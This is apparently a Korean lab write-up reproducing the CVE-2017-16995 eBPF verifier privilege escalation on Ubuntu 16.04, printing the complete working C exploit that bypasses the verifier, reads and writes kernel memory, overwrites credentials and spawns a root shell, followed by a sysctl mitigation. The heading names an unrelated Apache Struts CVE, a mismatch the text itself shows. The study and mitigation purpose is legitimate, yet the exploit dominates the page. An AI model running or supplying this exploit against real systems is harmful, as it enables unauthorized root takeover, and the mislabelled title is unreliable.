){kind=link}
CVE-2023-50164 : Apache Struts 2 vulnerable 실습
이 글에서는 Ubuntu 16.04.4, kerenl 4.4.0-116 환경에서 CVE-2017-16995 취약점을 이용해 일반 권한의 계정에서 root 권한의 계정으로의 Escalation을 재현합니다.
CVE-2017-16995는 BPF 검증 버그로 인한 메모리 손상으로 인해 임의 코드 실행이 허용될 수 있는 취약점으로, 권한이 없는 사용자는 이 결함을 악용하여 시스템에 대한 권한을 상승시킬 수 있습니다.
BPF?
BPF (Berkeley Packet Filter)는 Unix-like OS의 Kernel Level에서 Bytecode에 따라 동작하는 경량화된 VM(Virtual Machine) 입니다.
BPF는 의미 그대로 처음에는 Network Packet을 Filtering하는 Program을 구동하는 용도의 VM이었으나 사용자가 원하는 기능을 수행하는 Program을 언제든지 Kernel Level에서 구동 할 수 있다는 BPF의 장점 때문에 꾸준히 사용되어 왔습니다.
현재는 다양한 기능을 수행하는 VM이 되었으며 Linux에서도 이를 지원하고 있습니다.
Server install & kernel version setting
Ubuntu 16.04.4서버는 아래 링크에서 다운로드 합니다.
http://old-releases.ubuntu.com/releases/16.04.4/
여기서는 ubuntu-16.04.4-server-amd64.iso를 설치 했습니다.
uname -r 명령어로 커널버전을 확인 하여 kernel 4.4.0-116 버전이 아니라면 아래 명령어로 설치해줍니다.
$ sudo apt-get install linux-headers-4.4.0.116-generic linux-image-4.4.0.116-generic
취약점 재현
Exploit을 통한 Local Privilege Escalation 를 시도해보겠습니다. poc는 아래 주소를 참고했습니다. https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}
exploit
보안 방법
bpf에 대한 액세스를 제한하여 이러한 권한 상승을 방지하도록 매개변수를 설정합니다.
사용자는 kernel.unprivileged_bpf_disabled 커널 매개변수를 수정하여 일반 사용자를 제한하는 bpf 시스템 호출 사용을 제한 할 수 있습니다.
- 0: “비권한 활성화”
- 1: 권한이 있는 사용자만 활성화(재부팅할 때까지)”. 이 값을 설정하면 재부팅할 때까지 지울 수 없습니다.
- 2: 1과 동일하지만 0 또는 1로 변경할 수 있음. 이 값은 최근 커널 업데이트에 의해 추가되었으며 이전 버전에서는 사용불가 합니다.
명령어는 아래와 같습니다.
# kernel.unprivileged_bpf_disabled 매개변수 설정값 확인
$ sysctl kernel.unprivileged_bpf_disabled
# kernel.unprivileged_bpf_disabled 매개변수의 값을 1로 설정 합니다.
# 0: 비권한 활성화(취약)
# 1: 권한이 있는 사용자만 활성화(재부팅 할 때까지 적용됩니다. 즉 이 값을 설정시 재부팅 할때까지 값을 수정할 수 없습니다.)
# 2: 1과 동일하지만 0 또는 1로 변경할 수 있음. 이 값은 최근 커널 업데이트에 의해 추가되었으며 이전 버전에서는 사용불가 합니다.
$ sysctl kernel.unprivileged_bpf_disabled = 1
kernel.unprivileged_bpf_disabled = 0 일 때 Exploit 시도시 root로 Escalation 됩니다.
kernel.unprivileged_bpf_disabled = 0
kernel.unprivileged_bpf_disabled = 1 로 변경후 Exploit 시도시 ‘Operation not permitted’ 에러가 발생합니다.
kernel.unprivileged_bpf_disabled = 1